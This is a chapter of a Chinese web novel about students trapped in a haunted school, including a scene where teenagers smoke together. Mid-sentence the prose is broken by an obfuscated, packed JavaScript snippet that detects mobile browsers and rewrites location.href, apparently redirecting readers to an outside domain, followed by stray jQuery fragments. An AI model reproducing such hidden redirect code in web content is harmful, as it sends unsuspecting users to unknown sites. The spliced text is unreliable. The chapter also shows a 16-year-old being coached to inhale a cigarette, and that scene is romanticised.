29. 第 29 章
作品:《穿进两本书被阴湿男鬼缠上了》 五分钟后。
向日葵小学正在上演一场奇观。
憋闷了一上午的太阳终于将厚重的云层烤化蒸发,突破重围后的第一缕日光,落在了一辆残破不堪的摇摇车上。
褪色的天蓝色车身布满霉斑,在日照下泛着冷硬的青光。胡乱贴在上面的卡通贴纸也早已泛黄剥落,铁皮东凹一块西凹一块。
座椅更是惨不忍睹,粉色革裂开数道大口子,露出里面的海绵填充物。
而就是这辆破旧残缺到极致,仿佛经历过满清十大酷刑的摇摇车,居然还能运转,车身伴随着音乐有节奏地前后摇晃,弹簧发出不堪重负的咯吱声响,神奇地没有散架。
而车底之下的四个轮子,正在教学楼外的平地上徐徐行走。
摇摇车顶着张诡异至极的残缺笑脸,在前面带路。
而它身后,是浩浩荡荡几十名小孩老师,和青少年学生,皆四肢僵硬,面无表情,清奇的场面像是开了0.05倍速的丧尸大片。
校园空空旷旷,回荡着杂音明显的音乐——
“明天明天这歌声
飞遍海角天涯
飞遍海角天涯……”
这破摇摇车大概曲库里只有这一首,在从教学楼到宿舍楼的路上,一直没完没了地不停重播,而且歌词翻来覆去就这么几句,直听的人耳朵起茧。
车轮顺着台阶往上做斜坡运动,看似很容易溜坡打滑,实则稳稳当当,经典力学在此刻失去了绝对权威性,秩序割裂,一切都荒诞离奇的好像一场天马行空的怪梦。
“吱嘎——”
三层楼梯口原本锁住的铁门自动打开。
摇摇车继续往上,人群继续跟上,音乐也仍在播放,直到,他们来到一扇紧闭的房门前。
“咚咚。”摇摇车用脸撞了撞门,力道似乎刻意控制得很轻。
两秒后,门从里面打开,车轮滚了进去,后面紧跟着几位小孩老师,再接下来是学……
“嘭!”
鼻子被猛然关闭的房门重创的瞬间,张文远也重新获得了对自己身体的掌控权,
还没来得及松口气,鼻梁传来的剧痛就让他几乎要升天,捂着鼻子节节后退,忘了身后全是同学,你挤我我挤他,人群如同多米诺骨牌一般倒下一大片。
“小心。”
眼看就要波及到最外围,李确赶紧往后退,并且眼疾手快拉了背对着自己的周雅宜一把。
但他没想到,对方反应也同样很快,自己伸手的同时,周雅宜正好转过身,迈步向前,企图避免成为多米诺骨牌中的一块。
原本就密切过了头的距离被措不及防拉近为零,柔软干燥的薄唇先是碰到了刘海,麻酥酥的痒感顺着唇线一路下行到心脏,紧接着,又被更加贴实的接触所取代。
他的唇,透过发丝,碰到了,她的额头。
两个人同时呼吸一窒。
兵荒马乱之中,有人崩溃地喊:“都愣着干嘛啊,不跑等着他们再从里面出来吗??!”
鬼知道那破车出来后会不会再把他们硬控住。
于是歪七扭八的人群顿时作鸟兽散,惊慌逃命,李确也来不及多想,拉着周雅宜就往楼梯口跑,并期望奔跑时带起的清风能够吹散他脸颊的热浪。
但楼梯间实在太拥挤了,别说跑,步子稍微迈快一点都会把前面人的鞋给踩飞,所以李确只能任凭温度在脸上肆意猖狂,可拉着纤细胳膊的手,却始终没有放开。
如果她问,那我就回答怕你摔了。
李确心中如是想。
直到离开危险地带,才故作自然地轻轻巧巧松开五指。
周雅宜如遭大赦,赶紧穿过人群去另一边找李书雪。
“欸,你脸咋这么红啊?又过敏啦?”
“……谁过敏了,是刚才逃跑热出来的!”
相隔人群的声音传来,少年用力抿了抿唇,勉强消除掉唇瓣的痒意,却无可奈何这种感觉向心里蔓延。
……
下午放学。
食堂。
温初夏一脸迷茫+惊讶的表情,眨眨眼道:“当时究竟发生了什么?你再仔细说一遍,不要漏掉一点细节。”
饭点已经过去,60个学生围坐在略显空荡的食堂,个个神情严肃、愁眉不展,像梁山好汉起义的翻版,食堂高中生起义。
但起义的原因并不是一锅炖的恶心饭菜,而是下午的那件怪事。
温初夏,作为唯一一个因为当时不在教室而幸运逃过一劫的天选之子,再次坐在人群最中间的C位,组织开展本次“邪恶摇摇车逮人事件”的案情分析大会。
“当时你出去上厕所不是忘了关后门吗,我觉得后背冷飕飕的,就转头想把门关上。”
刘文远手里拿了根雪糕给可怜的鼻子冰敷,说话鼻音略重:
“然后那个独眼龙怪车就出现了,从楼梯爬上来的,咧着个血红大嘴眼珠子盯着我笑。当时我吓得血液都特么凝固了,刚想大叫,两条腿就不受控制地站了起来,跟在它屁股后面走,没法自由活动也没法说话,简直像被下蛊了一样。”
其余人纷纷附和——
“我也是,看见那辆怪车的瞬间就感觉身体不是自己的了,然后不由自主跟在了它后面。”
“不止是我们,那些小hai……小老师们也一样,并且他们还和摇摇车一起进了宿舍三楼的房间,里面到底有什么东西呀?”
“不会里面住着鬼吧??”
“那个房间就在我们寝室正上方,你别吓我啊!”
“感觉是不是跟那首歌有关啊,怎么唱来着?请把我的歌,带回你的家,请把你的……”
“停停停stop!别唱了,听着好诡异啊,我鸡皮疙瘩都起来了。”
“确实,我也觉得那首歌不太正常,明明是首儿歌,听起来却阴森森的。”
温初夏翘着二郎腿,继续追问:“你们跟着那辆车到了宿舍楼三层,然后呢?”
“然后,就没有然后了呀。”
冰的时间太长鼻子都麻了,刘文远“斯哈”一声,干脆把这跟价值高达0.8分的雪糕拆开来吃,囧眉道:
“那怪车领着老师们进去之后立刻就把门关上了,我一眼都没瞄着,鼻子还差点儿撞骨折,这破学校也没个医务室……”
听他讲完事情的全部细节,温初夏表情肃然地托着下巴,陷入思考。
交头接耳的人圈逐渐安静下来,59道目光纷纷寄托在她一个人身上,期待她能像上次那样,一针见血地勘破问题的疑点,找到化解之法。
良久。
天选之子终于开口:“我觉得……”
众人不约而同地屏起一口气,听她道:
“摇摇车的行为逻辑应该是看见人就会抓,但只要不被它发现,就像我当时在厕所隔间里,也听见了歌声,不过因为没有被它发现,所以没有和你们一样被它控制。”
温初夏顿了顿,又说:“而且我感觉,摇摇车的目标应该不是我们,而是那些小孩老师——不然为什么它只让他们进那个房间,并且进去之后就立刻解开了对你们的控制?事后广播也没有任何通知或者警告,说我们违反规则之类的。”
大家纷纷点头:“没错。”“我觉得初夏说的有道理。”“居然不是歌的原因啊,那那首歌到底是啥意思?”“三层房间里到底有什么呀,走廊看着和我们住的一二层也没啥区别……”
宋云泽琢磨道:“我感觉那破车说不定以后还会再出现。”
“欸——”温初夏眼睛一亮,和他隔空对视,语气不由得染上兴奋:“我也觉得!”
又分析说:“这里是小学,老师是小孩,摇摇车又只有小孩才会坐,感觉这个车很可能是什么关键道具,或者是起到某些其他作用。说不定它身上还藏着帮助我们离开这里的线索呢!”
宋云泽眼里带笑,看着她:“那它下次来我们该怎么办?”
温初夏故作思索两秒,演完正要开口,没想到时准却抢先道:“当然不能像下午一样被它控制住咯,不然要怎么找线索。”
笑意瞬间消失,宋云泽闭嘴看向别处,传递的意思很直接也很明显:我又没问你。
温初夏一看他俩在这儿争锋相对就觉得头疼,轻叹了口气,说:“如果它下次再来的话,大家就先躲起来吧,下午我去教学楼三四层看过,那里的教室都改成了杂物间,大家可以躲在里面,顺便还能找找看有没有线索。”
学生行为规范守则第七条规定,中午和晚上教学楼会锁住不让学生进。
并且今天第一节语文课上,mini版的阚老师还言辞令色地警告过他们,不许上楼,哪怕是课间时分也不行,逮到一次,罚站一周。
所以要想去楼上找线索,就只能趁摇摇车来的时候了。
第二天下午。
温初夏凭借地理优势,首先看见摇摇车又出现在教学楼外的空地,马上就要上楼来了,通知大家赶快躲起来。
闻言,教室像被掀了盖子的蜂巢般沸腾起来,桌椅板凳与地面摩擦出刺啦刺啦的声响,以地震来临时逃命的速度推搡着往门外涌出。
之所以跑这么快,想上楼找线索是一个原因,不想再看见那个笑容惊悚的邪恶摇摇车又是另一个更重要的原因。
踩在凳子上讲课的孟诗差点被逃跑的人浪给掀翻,小短腿在凳面踉跄了好几下,勉强稳住没摔,抬起头想出言制止,却发现面前早已人去室空,无奈,只能愤怒地把教材摔在讲桌上。
很快,走廊传来熟悉的歌声。
四层东侧,卫生间。
温初夏独自一人站在洗手池旁的横窗边,斜靠着墙,目送摇摇车带领着一群小孩,以及二班几名没逃跑成功的倒霉学生去往宿舍楼,眼神淡淡的,不知道在想些什么。
此时,所有逃过一劫的学生都在三四层的杂物间里翻得热火朝天,连根用空了的中性笔都要拆开看看,研究里面的笔芯是否藏着什么秘密。
这个时候,能跑到厕所里偷懒躲清闲的,也就只有温初夏一个了。
一分钟后,躲清闲的人变成了两个。
那人进来后,反手关上厕所门,然后拿起夹在水槽之上的拖把,堂而皇之地用拖把杆把门把手卡住。
温初夏顿觉不妙,眉峰不受控地跳了跳,趁时准没注意,又赶紧恢复为悠闲镇定的表情,语气略带惊讶地问:“你怎么来了,不去和大家一起找线索吗?”
“那你呢,为什么也不去?”
时准一步步靠近,深邃的双眼盛满了柔和的光彩,如同日光照射下的黑曜石,底色虽冷,但散发出的光泽却是暖的。
还是很小绵羊。
温初夏稍微放宽点心,指了指窗外,理由很充分:“替大家留意老师们什么时候回来啊。行为守则说了,学生不能旷课,否则妞妞要生气的。”
时准停在她面前不到一米的位置,旁边洗手池上的镜子映照出他轮廓清晰的侧颜,线条流畅如墨,像被刻在琥珀里的剪影,棱角分明却不失柔美。
“哦。”
淡淡的语气稍显敷衍,是因为专注的眼神在直勾勾盯着人看。
温初夏被盯的有些心理不适,刚才松下的那口气又紧了回来,视线轻移向左,扫了眼他身后被卡住的门,脸上的微表情泄露出紧张和慌乱。
“你来就来吧,干嘛把门锁住?”
“因为不想被人打扰。”
打扰什么???
你想干嘛!
没等她开口质问,温初夏就被握住胳膊,“挟持”到镜前。
时准站在身后,看着镜子里的神色明显有些紧绷的女孩,慢慢松开了手,又不动声色地将左手搭在她腰侧的台面上,如同一道铁链,阻断猎物逃跑的可能。
“你记得吗,我们第一次见面的那天晚上,就一起在厕所里呆过,还是男厕。”
离得太近,温热潮湿的气息不费吹灰之力就能落在敏感的耳尖,硬质拉链的触感透过厚重的校服外套传递到肩胛,像有一只羽毛在肌肤上写字画圈。
温初夏想挠又没法下手,只能先回答他的问题:“当然,我记性好得很。”
“当时咱俩也像这样一起站在镜子前过。”时准站直身,眼底的笑意愈发灿烂甜蜜,问:“你看我这半年是不是长高了很多?当时我只比你高半个头,现在快比你高一个头了。”
少年欣喜轻快的语气,以及稍微拉开一点的距离,将温初夏心中狂响的警铃关闭,她露出一个无奈又松懈的笑,道:“是——看来你除夕许的那个愿望很灵验啊,有一米八了没?”
“有啊。”时准冲镜子里的她得意地抬了抬下巴,臭屁的表情一览无余,“我都182.7了。运动会之前量的。”
“有必要这么精确吗。”温初夏笑了,“不就是刚洗头和没洗头的差距。”
“当然有必要,身高是男人的第二张脸。”一本正经地说完,时准忽然话锋一转:“你把眼睛闭上,我有个礼物要送给你。”
“什么?”
虽然看不见,但眼皮之下的眼珠却还是忍不住想往后瞟,温初夏心想:在这种鬼地方还能送什么礼物?小卖部买的?
耳边传来一阵衣服摩擦的窸窣声,是时准在从兜里掏东西,接着,一个硬硬的东西抵住她的后腰。
!
温初夏立刻睁眼,在时准和水池之间不到20cm的狭窄空隙快速转身,坚决保护自己的后背,语气充满不可思议:“你敢拿枪指着我?!”
“枪?”时准有些懵,举起手里的东西,让她看清楚。
“是烟。”他笑着纠正,“我能从哪儿弄到枪啊。”
温初夏呆住,目光落在他手里方方正正的烟盒,和打火机上。
然后上移,眉心微蹙:“你……”
“你想问我为什么会知道你吸烟对吧?”
时准居然完全不认为她吸烟是件很不好的事情,连说这话的语调都是上扬的,甚至带有一丝狡黠的窃喜。
因为他发现了她不为人知的秘密。
所有人都能看见她有多皎洁,唯独只有他,了解她的隐晦。
时准低着头,有些沾沾自喜:“你信不信,我比你想象中的还要了解你。”
“……”温初夏不知道该说什么。
她自以为隐藏的很好,没想到还是在不知不觉中露出了马
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518803|170387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚。
这种事情超出预料脱离掌控的感觉,让她感到迟疑与不安。
她很不喜欢这种感觉。
但时准说这句话并不是为求一个回答,他自顾自地打开烟盒,抽出一支来,递到她唇边,低眉顺眼,恭顺到近乎有些谄媚。
自从把打火机送给徐珂之后,温初夏再没抽过一次烟,就连界面即将崩溃压力大到爆炸的那段日子,她都忍住了。
而穿越到这个副本,她开着犯规的上帝视角,带领一群小朋友顺畅无比地做任务,作为主心骨的船长,看迷失的航船一点点回到正轨,无论是成就感还是虚荣心都得到极大的满足,也就没了借烟消愁的欲望。
可此刻,却有人主动把烟递到她嘴边,企图勾起她打算尘封的欲望。
抽?
可再戒烟会很艰难。
不抽?
时准可能会很失望。
每当面对决策,她总是习惯先将感性的灵魂抽离,好让理性百分百占领高地,用局外人的角度审时度势和权衡利弊。
但眼前人期许的目光,却像一张无形的密网,把她容易起恻隐之心的灵魂死死困在身体里,勾她上瘾,引她犯罪,狡猾至极。
当注意到修长的手因长期保持这个姿势而轻微颤抖了两下,温初夏心底的防线彻底溃败,不战而败。
她微启粉唇,含了进去。
高涨的明黄色火焰迫不及待地舔舐上烟尾,使之变成迷人的猩红。
接着,烟丝于唇齿间洇开,尼古丁在血管里跳起了舞曲,挂在尾端的灰白色烟灰仿佛冬日里蜷曲的枯蝶,火光明灭,呛鼻的烟雾随着呼吸被吐成悬在半空的省略号。
这场面简直美丽极了。
她像一支斜倚着的干枯玫瑰,在角落里慢慢腐败,毫不在意是否有人驻足欣赏。
时准看的心驰神荡,忍不住也从烟盒抽出一支来,衔在齿间,低下头,小心地、迫切地、笨拙地,想让两支香烟完成对接工作,但却始不得所愿。
眼前的人笑了,烟雾让唇角的弧度变得模糊,却让放纵的欲望变得清晰。
“别动,我来。”
葱段般的手指夹住燃烧到三分之二的香烟,烟灰簌簌掉落后,星子变得更加灼热滚烫,如降落凡尘的火种,赐予人生机和希望。
时准作为初学者,捏烟的姿势像是攥着一支会发烫的蜡笔,笨拙中带着好笑。
当他尝试着深吸第一口时,辛辣的烟雾就如同狡猾的毒蛇一样刺着鼻腔往上涌,呛入眼底,他猝不及防咳嗽起来,白烟齐刷刷从鼻子喷出,肩膀剧烈颤动。
“哈哈哈……”温初夏笑起来,反手将快要燃尽的烟头按熄在有水的洗手池。
然后,她抽出时准的“蜡笔”,把略微有些湿润的滤嘴部分夹在中指和食指之间,递送进他嘴里,悉心教导:“轻轻含着,用你的舌尖抵住下面的牙齿,慢慢吸一口。一、二、三、四,OK,含住两秒。”
“现在,慢慢吐出来。”
时准仰着头,白茫茫的烟雾喷薄而出,盘旋升天。
温初夏欣赏了一会儿他清晰标致的下颌线,接着把还没燃到四分之一的烟也给扔进洗手池里。
时准面露不解:“为什……”
“浅尝一口就得了。”温初夏后腰靠在冷冰冰的水池边缘,以过来人的语气教训说:“别真上瘾,戒起来很麻烦的。”
时准瘪着嘴:“可好贵呢,一根0.8分,一盒就要8分。”
夺少??!!!
温初夏直接甩了他胳膊一巴掌:“那你还买?!”
这倒霉孩子看着挺持家的啊,怎么花起钱来这么大手大脚?
谁知时准继续语出惊人:“我看见货架上只有五包,就全买了,都给你抽。”
温初夏双眼瞪大,仰头看着他。
五八四十,时准好像一共就四十来分,岂不是直接见底了?
“你卡里还剩多少分?”她问。
时准:“一分不剩。”
平静的表情丝毫不见心疼,好像花的不是他自己的分似的。
“你……”温初夏被气得不轻,举起手想扇他一巴掌,让他清醒清醒,却又不想打坏这张温顺乖巧的帅脸,所以举到一半又放下了。
她皱眉严肃道:“这个月还有接近二十天,你打算怎么生活?”
少年笑眯眯的:“靠你呀。”
温初夏不太明白,睫毛轻颤:“靠我什么?”
“小卖部的烟都被我买完了,你以后想抽,只能来我这儿要。”时准低下头,低沉的嗓音如同沉在深海的磁石。
他说:“我把分全部给你,你包养我吧。”
一滴汗顺着凹陷的脊柱线滑落。
温初夏慌乱地推开他,心说周围怎么好像越来越热了,是错觉吗?
时准又凑了上来,拉住她一只手:“我现在连条内裤都买不起,你忍心看我这个月一直就穿一条内裤吗?”
?
这话你也好意思说得出口啊你个心机boy,居然敢拿这种事情威胁我?!
少年炙热的眼神太过热烈,温初夏坳不过他,并且也确实觉得二十天不换内裤太恶心了。她不忍直视地闭上眼,咬牙道:“好了好了别说了,我答应你还不行吗。”
“太好了!”
时准一把抱住她,镜子里映照出少年雀跃欣喜的神情,和上次讨要星星成功时的表情一模一样,仿佛获得了世界上最高规格的奖赏。
温初夏被这个咋咋呼呼的拥抱抱的浑身一僵,用了八成力,才终于把自己从时准涂了强力胶的怀里撕开,后背又有两三颗汗水滚落。
她用手扇着风,顾左右而言他:“怎么这么热啊。”
时准拉开校服拉链,感觉衣领里冒出的热气正往脸上蒸腾,奇怪道:“我也觉得好热。是今天太阳比较大的缘故吗?”
温初夏呵呵不语:你也热?得寸进尺浪的吧。
但空气竟然是真的在迅速升温,从刺骨的湿冷到窒息的闷热,中间只间隔了不到三分钟。
温初夏早已脱了厚外套,撸起袖子,一边把胳膊放在水龙头下降温,一边在记忆里疯狂搜索有关这个副本的信息。
她想不起来当时是否有发生过这一出反常,完全没印象。
“好热啊……”
时准捧了一捧清水冲脸,流淌的水珠先沾湿额角碎发,随后漫过下颌,再顺着喉结滚动的弧度滑落到锁骨。
睫羽沾着的水露垂落成帘,猩红的舌尖探出齿间,将唇峰上那颗将坠未坠的水珠轻轻接住。
水花四溅,内搭的浅色衣领被打湿成深色,湿漉漉地贴在皮肤上,沉重憋闷的感觉很不舒服。
于是,他干脆把最后一件衣服也脱了。
十六岁少年薄而挺直的肩胛骨像蝴蝶收拢的翅骨,在细腻的皮肤下透出浅淡的骨感。
呼吸时,肋骨微微起伏,六块腹肌平整地铺在腰腹间,棱线不深却足够清晰,像刻刀轻轻凿出的浅痕,锁骨积蓄的水洼因动作而溢出,顺着痕迹滑落。
眼神控制不住地看过去时,温初夏心里只有一个念头——
哇,好白,好粉。